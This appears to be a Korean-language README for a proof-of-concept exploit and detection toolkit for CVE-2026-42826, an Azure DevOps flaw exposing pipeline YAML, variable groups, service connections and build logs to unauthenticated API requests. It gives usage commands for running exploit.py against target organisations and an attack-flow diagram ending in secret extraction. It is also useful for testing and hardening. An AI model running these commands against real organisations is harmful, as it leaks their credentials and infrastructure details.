
CVE-2026-42826을 악용하여 인증되지 않은 REST API 요청을 통해 민감한 Azure DevOps 데이터(파이프라인 YAML, 변수 그룹, 서비스 연결, 빌드 로그)를 열거하고 추출합니다.
| 항목 | 값 |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Critical (Microsoft) / 7.5 High (NVD) |
| CWE | CWE-200 (인가되지 않은 행위자에게 민감한 정보 노출) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| 영향받는 버전 | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| 패치 버전 | Azure DevOps Server 2026.0.1+ (Azure DevOps Services는 서버 측에서 패치됨) |
| 발견자 | Noa Royzman (Microsoft) |
Azure DevOps는 특정 조건에서 인증되지 않은 HTTP 요청에 파이프라인 구성, 변수 그룹 콘텐츠 및 빌드 아티팩트를 제공할 수 있습니다. 원격 공격자는 Azure DevOps REST API에 조작된 요청을 보내고 다음을 포함하는 JSON 응답을 받을 수 있습니다:
대상 프로젝트가 공개 상태로 구성된 경우, 또는 내부 API 엔드포인트가 데이터를 반환하기 전에 인증 검사를 적용하지 못하는 경우 자격 증명이 필요하지 않습니다.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
공개 프로젝트를 활성화한 조직은 리포지토리, 파이프라인, 아티팩트 및 작업 항목을 인증되지 않은 인터넷에 노출합니다.
특정 내부 API 엔드포인트는 민감한 데이터를 반환하기 전에 인증 검사를 적용하지 않습니다.
공개 프로젝트의 파이프라인 YAML 파일은 서비스 연결과 변수 그룹을 이름으로 참조하므로 Azure 구독 구조, 배포 대상, 레지스트리 URL 및 환경 이름이 드러납니다.
서비스 연결 메타데이터(Azure 구독 ID, 테넌트 ID, Kubernetes 클러스터 ID)는 API를 통해 노출됩니다.
비밀 변수가 아닌 변수 값은 UI에 표시되고, API로 반환되며, 빌드 로그에도 출력됩니다.
빌드 로그에는 민감한 구성 데이터, 환경 변수 및 인프라 세부 정보가 포함될 수 있습니다.
| 파일 | 용도 |
|---|---|
exploit.py | 주요 익스플로잇 — 6가지 공격 벡터, 비밀 스캐닝, 보고서 생성 |
detect.py | Azure DevOps 인스턴스용 탐지 및 강화 검사기 |
test_exploit.py | 단위 테스트(모든 익스플로잇 기능을 검증하는 30개 이상의 테스트) |
| 문서 | 내용 |
|---|---|
| USAGE.md | 단계별 지침이 포함된 상세 사용 가이드 |
| DIAGRAM.md | 구조 다이어그램 및 공격 흐름 시각화 |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
전체 아키텍처 다이어그램은 DIAGRAM.md를 참조하세요.
Code (Read)로 제한MIT